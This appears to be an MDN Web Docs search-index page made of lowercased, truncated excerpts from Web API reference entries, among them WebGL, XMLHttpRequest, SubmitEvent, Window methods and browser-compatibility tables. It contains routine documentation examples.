...it can be used to indicate the time at which a notification is actual.
...buzz!', icon: '../images/touch/chrome-touch-icon-192x192.png', vibrate: [200, 100, 200, 100, 200, 100, 200], tag: 'vibration-sample' }); }); } }); } to invoke the above function at an appropriate time, you could use the serviceworkerglobalscope.onnotificationclick event handler.
SharedWorkerGlobalScope - Web APIs
sharedworkerglobalscope.applicationcache read only this property returns the applicationcache object for the worker (see using the application cache).
... workerglobalscope.performance read only returns the performance object associated with the worker, which is a regular performance object, but with a subset of its properties and methods available.
...for example: importscripts('foo.js', 'bar.js'); implemented from other places windowbase64.atob() decodes a string of data which has been encoded using base-64 encoding.
... windowtimers.setinterval() schedules the execution of a function every x milliseconds.
SourceBuffer.removeAsync() - Web APIs
the removeasync() method of the sourcebuffer interface starts the process of asynchronously removing from the sourcebuffer media segments found within a specific time range.
... a promise is returned, which is fulfilled when the buffers in the specified time range have been removed.
... example this example establishes an asynchronous function, emptysourcebuffer(), which simply clears the contents of the specified sourcebuffer.
... async function emptysourcebuffer(msbuffer) { await msbuffer.removeasync(0, infinity).catch(function(e) { handleexception(e); } } specifications not currently part of the mse specification.
StereoPannerNode.StereoPannerNode() - Web APIs
the stereopannernode() constructor of the web audio api creates a new stereopannernode object which is an audionode that represents a simple stereo panner node that can be used to pan an audio stream left or right.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstereopannernode() constructorchrome full support 55notes full support 55notes notes before chrome 59, the default values were not supported.edge full support ≤79firefox full support 53ie no support noopera full support 42safari no support nowebview android full support 55notes ...
... full support 55notes notes before chrome 59, the default values were not supported.chrome android full support 55notes full support 55notes notes before chrome 59, the default values were not supported.firefox android full support 53opera android full support 42safari ios no support nosamsung internet android full support 6.0notes full support 6.0notes notes before samsung internet 7.0, the default values were not supported.legend ...
Using the Storage Access API - Web APIs
since embedded content won’t know which storage policy is in use by the user, it’s best to always check whether the embedded frame has storage access before attempting to read or write from storage.
...if that call returns false, we can then call document.requeststorageaccess(), returning the result so that then we can chain it onto the previous promise call.
... // let's access some items from the first-party cookie jar document.cookie = "foo=bar"; // set a cookie localstorage.setitem("username", "john"); // access a localstorage entry }).catch(_ => { // error obtaining storage access.
... }); note that access requests are automatically denied unless the embedded content is currently processing a user gesture such as a tap or click — so this code needs to be run inside some kind of user gesture-based event handler, for example: btn.addeventlistener('click', () => { // run code here }); ...
SubmitEvent.submitter - Web APIs
while this is often an <input> element whose type or a <button> whose type is submit, it could be some other element which has initiated a submission process.
... examples in this example, a shopping cart may have an assortment of different submit buttons depending on factors such as the user's settings, the shop's settings, and any minimum or maximum shopping card totals established by the payment processors.
... each of the submit elements' id is used to identify which payment processor the button corresponds to.
...please try again.", "ok"); } }); the handler id is obtained by using the submit event's submitter property to get the submit button, from which we then get the id.
SubmitEvent - Web APIs
submitter read only an htmlelement object which identifies the button or other element which was invoked to trigger the form being submitted.
... examples in this example, a shopping cart may have an assortment of different submit buttons depending on factors such as the user's settings, the shop's settings, and any minimum or maximum shopping card totals established by the payment processors.
... each of the submit elements' id is used to identify which payment processor the button corresponds to.
...please try again.", "ok"); } }); the handler id is obtained by using the submit event's submitter property to get the submit button, from which we then get the id.
SyncEvent - Web APIs
WebAPISyncEvent
the syncevent interface represents a sync action that is dispatched on the serviceworkerglobalscope of a serviceworker.
...ow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/extendableevent" target="_top"><rect x="116" y="1" width="150" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="191" y="30" font-size="12px" font-family="conso...
...las,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">extendableevent</text></a><polyline points="266,25 276,20 276,30 266,25" stroke="#d4dde4" fill="none"/><line x1="276" y1="25" x2="306" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/syncevent" target="_top"><rect x="306" y="1" width="90" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="351" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">syncevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor syncevent.syncevent() creates a new syncevent object.
... syncevent.lastchance read only returns true if the user agent will not make further synchronization attempts after the current attempt.
TextDecoder.prototype.encoding - Web APIs
the legacy multi-byte chinese (simplified) encodings: 'gbk', 'gb18030', and 'hz-gb-2312'.
... the legacy multi-byte chinese (traditional) encoding: 'big5'.
... a special encoding, 'replacement', which only emits an error and an eof code point.
... it is used to prevent attacks that mismatch encodings between the client and server.
getTrackById() - Web APIs
the texttracklist method gettrackbyid() returns the first texttrack object from the track list whose id matches the specified string.
... return value a texttrack object indicating the first track found within the texttracklist whose id matches the specified string.
... if no match is found, this method returns null.
... the tracks are searched in their natural order; that is, in the order defined by the media resource itself, or, if the resource doesn't define an order, the relative order in which the tracks are declared by the media resource.
TextTrackList.onaddtrack - Web APIs
the texttracklist property onaddtrack is an event handler which is called when the addtrack event occurs, indicating that a new text track has been added to the media element whose text tracks the texttracklist represents.
... syntax texttracklist.onaddtrack = eventhandler; value set onaddtrack to a function that accepts as input a trackevent object which indicates in its track property which video track has been added to the media.
...this happens when tracks are added to the element when the media is first attached to the element; one addtrack event will occur for each video track in the media resource.
...in this scenario, that function's role is to add the new track to a list of video tracks available to choose from.
TimeEvent - Web APIs
WebAPITimeEvent
ow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/timeevent" target="_top"><rect x="116" y="1" width="90" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="161" y="30" font-size="12px" font-family="consolas,...
...monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">timeevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties timeevent.detail read only is a long that specifies some detail information about the event, depending on the type of the event.
... timeevent.view read only is a windowproxy that identifies the window from which the event was generated.
...this method may only be called before the timeevent has been dispatched via the dispatchevent method, though it may be called multiple times during that phase if necessary.
TimeRanges - Web APIs
the timeranges interface is used to represent a set of time ranges, primarily for the purpose of tracking which portions of media have been buffered when loading it for use by the <audio> and <video> elements.
... a timeranges object includes one or more ranges of time, each specified by a starting and ending time offset.
... you reference each time range by using the start() and end() methods, passing the index number of the time range you want to retrieve.
... the term "normalized timeranges object" indicates that ranges in such an object are ordered, don't overlap, aren't empty, and don't touch (adjacent ranges are folded into one bigger range).
msManipulationViewsEnabled - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... the msmanipulationviewsenabled read-only property returns true if manipulation features are support available, such as touch panning and zooming using css rules.
... value returns true if manipulation features are support available, such as touch panning and zooming using css rules.
... example using a json file: { msmanipulationviewsenabled: true, } see also touch api microsoft api extensions ...
TrackEvent - Web APIs
the trackevent interface, which is part of the html dom specification, is used for events which represent changes to a set of available tracks on an html media element; these events are addtrack and removetrack.
... it's important not to confuse trackevent with the rtctrackevent interface, which is used for tracks which are part of an rtcpeerconnection.
... example this example sets up a function, handletrackevent(), which is callled for any addtrack or removetrack event on the first <video> element found in the document.
...acks.addeventlistener("removetrack", handletrackevent, false); function handletrackevent(event) { var trackkind; if (event.target instanceof(videotracklist)) { trackkind = "video"; } else if (event.target instanceof(audiotracklist)) { trackkind = "audio"; } else if (event.target instanceof(texttracklist)) { trackkind = "text"; } else { trackkind = "unknown"; } switch(event.type) { case "addtrack": console.log("added a " + trackkind + " track"); break; case "removetrack": console.log("removed a " + trackkind + " track"); break; } } the event handler uses the javascript instanceof operator to determine which type of track the event occurred on, then outputs to console a message indicating what kind of track it is and whether ...
URLUtilsReadOnly.host - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internethost experimentalchrome no support noedge no support nofirefox full support 3.5ie no support noopera no support nosafari no support nowebview android no support nochrome android no support nofirefox android full support 4opera android ...
...expect behavior to change in the future.experimental.
... expect behavior to change in the future.
URLUtilsReadOnly.hostname - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internethostname experimentalchrome no support noedge no support nofirefox full support 3.5ie no support noopera no support nosafari no support nowebview android no support nochrome android no support nofirefox android full support 4opera android ...
...expect behavior to change in the future.experimental.
... expect behavior to change in the future.
URLUtilsReadOnly.href - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internethref experimentalchrome no support noedge no support nofirefox full support 3.5ie no support noopera no support nosafari no support nowebview android no support nochrome android no support nofirefox android full support 4opera android ...
...expect behavior to change in the future.experimental.
... expect behavior to change in the future.
URLUtilsReadOnly.pathname - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpathname experimentalchrome no support noedge no support nofirefox full support 3.5ie no support noopera no support nosafari no support nowebview android no support nochrome android no support nofirefox android full support 4opera android ...
...expect behavior to change in the future.experimental.
... expect behavior to change in the future.
URLUtilsReadOnly.port - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetport experimentalchrome no support noedge no support nofirefox full support 3.5ie no support noopera no support nosafari no support nowebview android no support nochrome android no support nofirefox android full support 4opera android ...
...expect behavior to change in the future.experimental.
... expect behavior to change in the future.
URLUtilsReadOnly.toString() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettostring experimentalchrome no support noedge no support nofirefox full support 3.5ie no support noopera no support nosafari no support nowebview android no support nochrome android no support nofirefox android full support 4opera android ...
...expect behavior to change in the future.experimental.
... expect behavior to change in the future.
USBInterface - Web APIs
an interface represents a feature of the device which implements a particular protocol and may contain endpoints for bidirectional communication.
... constructor usbinterface.usbinterface creates a new usbinterface object which will be populated with information about the interface on the provided usbconfiguration with the given interface number.
...it can be changed by calling usbdevice.selectalternateinterface() with any other value found in alternates.
... usbinterface.alternatesread only returns an array containing instances of the usbalternateinterface interface describing each of the alternative configurations possible for this interface.
getTrackById - Web APIs
the videotracklist method gettrackbyid() returns the first videotrack object from the track list whose id matches the specified string.
... return value a videotrack object indicating the first track found within the videotracklist whose id matches the specified string.
... if no match is found, this method returns null.
... the tracks are searched in their natural order; that is, in the order defined by the media resource itself, or, if the resource doesn't define an order, the relative order in which the tracks are declared by the media resource.
VideoTrackList.onaddtrack - Web APIs
the videotracklist property onaddtrack is an event handler which is called when the addtrack event occurs, indicating that a new video track has been added to the media element whose video tracks the videotracklist represents.
... syntax videotracklist.onaddtrack = eventhandler; value set onaddtrack to a function that accepts as input a trackevent object which indicates in its track property which video track has been added to the media.
...this happens when tracks are added to the element when the media is first attached to the element; one addtrack event will occur for each video track in the media resource.
...in this scenario, that function's role is to add the new track to a list of video tracks available to choose from.
WakeLock - Web APIs
WebAPIWakeLock
methods request requests a wakelocksentinel object, which returns a promise that resolves with a wakelocksentinel object.
... examples the following asynchronous function requests a wakelocksentinel object.
... the wakelock.request method is wrapped in a try...catch statement to account for if the browser refuses the request for any reason.
... const requestwakelock = async () => { try { const wakelock = await navigator.wakelock.request('screen'); } catch (err) { // the wake lock request fails - usually system related, such low as battery console.log(`${err.name}, ${err.message}`); } } requestwakelock(); specifications specification status comment screen wake lock apithe definition of 'wakelock' in that specification.
WaveShaperNode.WaveShaperNode() - Web APIs
the waveshapernode() constructor of the web audio api creates a new waveshapernode object which is an audionode that represents a non-linear distorter.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetwaveshapernode() constructorchrome full support 55notes full support 55notes notes before chrome 59, the default values were not supported.edge full support ≤79firefox full support 53ie no support noopera full support 42safari ?
... webview android full support 55notes full support 55notes notes before chrome 59, the default values were not supported.chrome android full support 55notes full support 55notes notes before chrome 59, the default values were not supported.firefox android full support 53opera android full support 42safari ios ?
WebGL2RenderingContext.drawBuffers() - Web APIs
the webgl2renderingcontext.drawbuffers() method of the webgl 2 api defines draw buffers to which fragment colors are written into.
... syntax void gl.drawbuffers(buffers); parameters buffers an array of glenum specifying the buffers into which fragment colors will be written.
... gl.color_attachment{0-15}: fragment shader output is written in the nth color attachment of the current framebuffer.
... examples gl.drawbuffers([gl.none, gl.color_attachment1]); specifications specification status comment webgl 2.0the definition of 'drawbuffers' in that specification.
WebGLRenderingContext.bindBuffer() - Web APIs
possible values: gl.array_buffer: buffer containing vertex attributes, such as vertex coordinates, texture coordinate data, or vertex color data.
... a webglbuffer which has been marked for deletion with deletebuffer cannot be (re-)bound.
... an attempt to do so will generate an invalid_operation error, and the current binding will remain untouched.
... examples binding a buffer to a target var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); getting current bindings to check the current buffer bindings, query the array_buffer_binding and element_array_buffer_binding constants.
WebGLRenderingContext.blendFunc() - Web APIs
the webglrenderingcontext.blendfunc() method of the webgl api defines which function is used for blending pixel arithmetic.
... gl.one_minus_src_color 1-rs, 1-gs, 1-bs, 1-as multiplies all colors by 1 minus each source color.
... gl.one_minus_dst_color 1-rd, 1-gd, 1-bd, 1-ad multiplies all colors by 1 minus each destination color.
... gl.enable(gl.blend); gl.blendfunc(gl.src_color, gl.dst_color); to get the current blend function, query the blend_src_rgb, blend_src_alpha, blend_dst_rgb, and blend_dst_alpha constants which return one of the blend function constants.
WebGLRenderingContext.blendFuncSeparate() - Web APIs
the webglrenderingcontext.blendfuncseparate() method of the webgl api defines which function is used for blending pixel arithmetic for rgb and alpha components separately.
... gl.one_minus_src_color 1-rs, 1-gs, 1-bs 1-as multiplies all colors by 1 minus each source color.
... gl.one_minus_dst_color 1-rd, 1-gd, 1-bd 1-ad multiplies all colors by 1 minus each destination color.
... gl.enable(gl.blend); gl.blendfuncseparate(gl.src_color, gl.dst_color, gl.one, gl.zero); to get the current blend function, query the blend_src_rgb, blend_src_alpha, blend_dst_rgb, and blend_dst_alpha constants which return one of the blend function constants.
WebGLRenderingContext.getActiveUniform() - Web APIs
syntax webglactiveinfo webglrenderingcontext.getactiveuniform(program, index); parameters program a webglprogram specifying the webgl shader program from which to obtain the uniform variable's information.
... struct type: one entry for each member of the struct.
... arrays of structs or arrays: each entry of the array will generate its own entries.
...uniform struct { float foo; vec4 bar; } d[2]; will result in: d[0].foo d[0].bar d[1].foo d[1].bar uniform blocks: one entry for each member.
WebGLRenderingContext.isContextLost() - Web APIs
syntax let islost = gl.iscontextlost(); return value a boolean which is true if the context is lost, or false if not.
... the user's computer has multiple graphics processors (such as a laptop with both mobile and desktop class gpus, the former used primarily when on battery power), and the user or system decides to switch gpus.
... in this case, all contexts are lost, then restored after switching gpus.
... examples for example, when checking for program linking success, you could also check if the context is not lost: gl.linkprogram(program); if (!gl.getprogramparameter(program, gl.link_status) && !gl.iscontextlost()) { var info = gl.getprograminfolog(program); console.log('error linking program:\n' + info); } specifications specification status comment webgl 1.0the definition of 'webglrenderingc...
WebGLRenderingContext.texImage2D() - Web APIs
possible values in both webgl1 and webgl2 format type channels bytes per pixel rgba unsigned_byte 4 4 rgb unsigned_byte 3 3 rgba unsigned_short_4_4_4_4 4 2 rgba unsigned_short_5_5_5_1 4 2 rgb unsigned_short_5_6_5 3 2 luminance_alpha unsigned_byte 2 2 luminance unsigned_byte 1 1...
... gl.luminance: each color component is a luminance component, alpha is 1.0.
... gl.luminance_alpha: each component is a luminance/alpha component.
...possible values: gl.unsigned_byte: 8 bits per channel for gl.rgba gl.unsigned_short_5_6_5: 5 red bits, 6 green bits, 5 blue bits.
Clearing by clicking - Web APIs
every time the user clicks the canvas or the button, the canvas is cleared with a new randomly chosen color.
... <p>a very simple webgl program that still shows some color and user interaction.</p> <p>you can repeatedly click the empty canvas or the button below to change color.</p> <canvas id="canvas-view">your browser does not seem to support html5 canvas.</canvas> <button id="color-switcher">press here to switch color</button> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } button { display : inline-block; font-size : inherit; margin : auto; padding : 0.6em; } window.addeventlistener("load", function setupwebgl (evt) { "use strict" // cleaning after ourselves.
... var canvas = document.queryselector("#canvas-view"); var button = document.queryselector("#color-switcher"); canvas.addeventlistener("click", switchcolor, false); button.addeventlistener("click", switchcolor, false); // a variable to hold the webglrenderingcontext.
... function switchcolor () { // referring to the externally defined gl variable.
Animating objects with WebGL - Web APIs
the first thing we'll need is a variable in which to track the current rotation of the square: var squarerotation = 0.0; now we need to update the drawscene() function to apply the current rotation to the square when drawing it.
... to actually animate, we need to add code that changes the value of squarerotation over time.
... we can do that by creating a new variable to track the time at which we last animated (let's call it then), then adding the following code to the end of the main function var then = 0; // draw the scene repeatedly function render(now) { now *= 0.001; // convert to seconds const deltatime = now - then; then = now; drawscene(gl, programinfo, buffers, deltatime); requestanimationframe(render); } requestanimationframe(render); this code uses requestanimationframe to ask the browser to call the function "render" on each frame.
...we convert that to seconds and then subtract from it the last time to compute deltatime which is the number of second since the last frame was rendered.
Getting started with WebGL - Web APIs
it's assumed that you already have an understanding of the mathematics involved in 3d graphics, and this article doesn't pretend to try to teach you 3d graphics concepts itself.
... it's worth noting here that this series of articles introduces webgl itself; however, there are a number of frameworks available that encapsulate webgl's capabilities, making it easier to build 3d applications and games, such as three.js and babylon.js.
...your browser or machine may not support it."); return; } // set clear color to black, fully opaque gl.clearcolor(0.0, 0.0, 0.0, 1.0); // clear the color buffer with specified clear color gl.clear(gl.color_buffer_bit); } window.onload = main; the first thing we do here is obtain a reference to the canvas, assigning it to a variable named canvas.
...if the browser does not support webgl, getcontext() will return null in which case we display a message to the user and exit.
The WebSocket API (WebSockets) - Web APIs
the websocket api is an advanced technology that makes it possible to open a two-way interactive communication session between the user's browser and a server.
... total.js: web application framework for node.js (example: websocket chat) faye: a websocket (two-ways connections) and eventsource (one-way connections) for node.js server and client.
... signalr: signalr will use websockets under the covers when it's available, and gracefully fallback to other techniques and technologies when it isn't, while your application code stays the same.
... jsonrpc-bidirectional: asynchronous rpc which, on a single connection, may have functions exported on the server and, and the same time, on the client (client may call server, server may also call client).
Web Bluetooth API - Web APIs
bluetoothcharacteristicproperties provides properties of a particular bluetoothremotegattcharacteristic.
... bluetoothremotegattcharacteristic represents a gatt characteristic, which is a basic data element that provides further information about a peripheral’s service.
... bluetoothremotegattdescriptor represents a gatt descriptor, which provides further information about a characteristic’s value.
... bluetoothremotegattservice represents a service provided by a gatt server, including a device, a list of referenced services, and a list of the characteristics of this service.
Web Workers API - Web APIs
but you can use a large number of items available under window, including websockets, and data storage mechanisms like indexeddb.
... in addition, workers may use xmlhttprequest for network i/o, with the exception that the responsexml and channel attributes on xmlhttprequest always return null.
... chrome workers are a firefox-only type of worker that you can use if you are developing add-ons and want to use workers in extensions and have access to js-ctypes in your worker.
... see chromeworker for more details.
Window.external - Web APIs
WebAPIWindowexternal
the external property of the window api returns an instance of the external interface, which was intended to contain functions related to adding external search providers to the browser.
... methods the external object has the following methods: method description addsearchprovider(descriptionurl) dummy function; does nothing.
... see autodiscovery of search plugins.
... issearchproviderinstalled() dummy function; does nothing.
Window.frameElement - Web APIs
the window.frameelement property returns the element (such as <iframe> or <object>) in which the window is embedded.
... syntax const frameel = window.frameelement value the element which the window is embedded into.
... if the window isn't embedded into another document, or if the document into which it's embedded has a different origin, the value is null instead.
... example const frameel = window.frameelement; // if we're embedded, change the containing element's url to 'http://mozilla.org/' if (frameel) { frameel.src = 'http://mozilla.org/'; } specifications specification status comment html living standardthe definition of 'window.frameelement' in that specification.
Privileged features - Web APIs
this page lists the windowfeatures parameter of window.open function that requires chrome-privilege in firefox.
... the following features require the chrome-privilege.
... chrome if on, the page is loaded as window's only content, without any of the browser's interface elements.
...dialog windows are windows which have no minimize system command icon and no maximize/restore down system command icon on the titlebar nor in correspondent menu item in the command system menu.
Window.prompt() - Web APIs
WebAPIWindowprompt
the above prompt appears as follows (in chrome on os x): notes a prompt dialog contains a single-line textbox, a cancel button, and an ok button, and returns the (possibly empty) text the user entered into that textbox.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpromptchrome full support 1notes full support 1notes notes starting with chrome 46, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.edge full support 12firefox full support 1ie full support 4notes full support 4notes notes this function has no effect in the modern ui/metro version of internet explorer for windows 8.
... unless its sandbox attribute has the value allow-modals.safari full support 1webview android full support 1notes full support 1notes notes starting with webview 46, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.chrome android full support 18notes full support 18notes notes starting with chrome 46, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.firefox android full support 4opera android full support ...
Window.releaseEvents() - Web APIs
syntax window.releaseevents(eventtype) eventtype is a combination of the following values: event.abort, event.blur, event.click, event.change, event.dblclick, event.dragddrop, event.error, event.focus, event.keydown, event.keypress, event.keyup, event.load, event.mousedown, event.mousemove, event.mouseout, event.mouseover, event.mouseup, event.move, event.reset, event.resize, event.select, event.submit, event.unload.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreleaseevents deprecatednon-standardchrome full support yesedge full support 12firefox full support yesie ?
... opera full support yessafari full support yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support compatibility unknown compatibility unknownnon-standar...
Window.routeEvent() - Web APIs
WebAPIWindowrouteEvent
the window method routeevent(), which is obsolete and no longer available, used to be called to forward an event to the next object that has asked to capture events.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrouteevent deprecatednon-standardchrome no support noedge no support nofirefox no support noie ?
... webview android no support nochrome android no support nofirefox android no support noopera android ?
Window.scrollBy() - Web APIs
WebAPIWindowscrollBy
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscrollbychrome full support 1edge full support 79 full support 79 no support 12 — 79notes notes only scrollby(x-coord, y-coord) is supported.firefox full support 1ie partial support 11notes partial support 11notes notes only scrollby(x-coord, y-coord) is supported.opera full support 3safari full support ...
... 1webview android full support 1chrome android full support 18firefox android full support 4opera android full support 10.1safari ios full support 1samsung internet android full support 1.0scrolltooptions parameterchrome full support 45edge full support 79firefox full support yesie no support noopera full support ...
... 32safari no support nowebview android full support 45chrome android full support 45firefox android full support yesopera android full support 32safari ios no support nosamsung internet android full support 5.0legend full support full support partial support partial support no support ...
Window.showModalDialog() - Web APIs
this method was removed in chrome 43 and firefox 56.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetshowmodaldialog deprecatednon-standardchrome no support ?
... full support 4opera no support nosafari full support 5.1notes full support 5.1notes notes see webkit bug 151885 for possible future removal from safari.webview android no support nochrome android no support nofirefox android no support noopera android no support nosafari ios no support nosamsung internet android no support nolegend ...
Window: unhandledrejection event - Web APIs
the event includes two useful pieces of information: promise the actual promise which was rejected with no handler available to deal with the rejection.
...see catch() for details.
... window.addeventlistener("unhandledrejection", event => { console.warn(`unhandled promise rejection: ${event.reason}`); }); you can also use the onunhandledrejection event handler property to set up the event listener: window.onunhandledrejection = event => { console.warn(`unhandled promise rejection: ${event.reason}`); }; preventing default handling many environments (such as node.js) report unhandled promise rejections to the console by default.
... // prevent the default handling (such as outputting the // error to the console) event.preventdefault(); }); specifications specification status comment html living standardthe definition of 'unhandledrejection' in that specification.
WindowEventHandlers - Web APIs
each of these interfaces can implement additional specific event handlers.
... windoweventhandlers.onhashchange is an eventhandler representing the code to be called when the hashchange event is raised.
... windoweventhandlers.onlanguagechange is an eventhandler representing the code to be called when the languagechange event is raised.
... living standard no change since the latest snapshot, html 5.1.
XMLDocument - Web APIs
idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/document" target="_top"><rect x="266" y="1" width="80" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="306" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">document</text></a><polyline points="346,25 356,20 356,30 346,25" stroke="#d4dde4" fill="none"/><line x1="356" y1="25" x2="386" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/xmldocument" target="_top"><rect x="386" y="1" width="110" heig...
...ht="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="441" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">xmldocument</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} property also inherits properties from: document xmldocument.async used with xmldocument.load() to indicate an asynchronous request.
... living standard no changes.
XMLHttpRequest.multipart - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
...all requests must be asynchronous.
... this enables support for server push; for each xml document that's written to this request, a new xml dom document is created and the onload handler is called between documents.
... note: when this is set, the onload handler and other event handlers are not reset after the first xmldocument is loaded, and the onload handler is called after each part of the response is received.
XMLHttpRequest.response - Web APIs
see html in xmlhttprequest to learn more about using xhr to fetch html content.
... example this example presents a function, load(), which loads and processes a page from the server.
... it works by creating an xmlhttprequest object and creating a listener for readystatechange events such that that when readystate changes to done (4), the response is obtained and passed into the callback function provided to load().
... var url = 'somepage.html'; //a local page function load(url, callback) { var xhr = new xmlhttprequest(); xhr.onreadystatechange = function() { if (xhr.readystate === 4) { callback(xhr.response); } } xhr.open('get', url, true); xhr.send(''); } specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest.timeout - Web APIs
the default value is 0, which means there is no timeout.
... timeout shouldn't be used for synchronous xmlhttprequests requests used in a document environment or it will throw an invalidaccesserror exception.
... note: you may not use a timeout for synchronous requests with an owning window.
... using a timeout with an asynchronous request in internet explorer, the timeout property may be set only after calling the open() method and before calling the send() method.
XMLHttpRequestResponseType - Web APIs
the xmlhttprequestresponsetype type is an enumerated set of strings which are used to specify the type of data contained in the response of an xmlhttprequest.
...see html in xmlhttprequest to learn more about using xhr to fetch html content.
... deprecated values moz-chunked-arraybuffer a firefox-only value which instructs xmlhttprequest to deliver arraybuffer objects containing chunks of the incoming data.
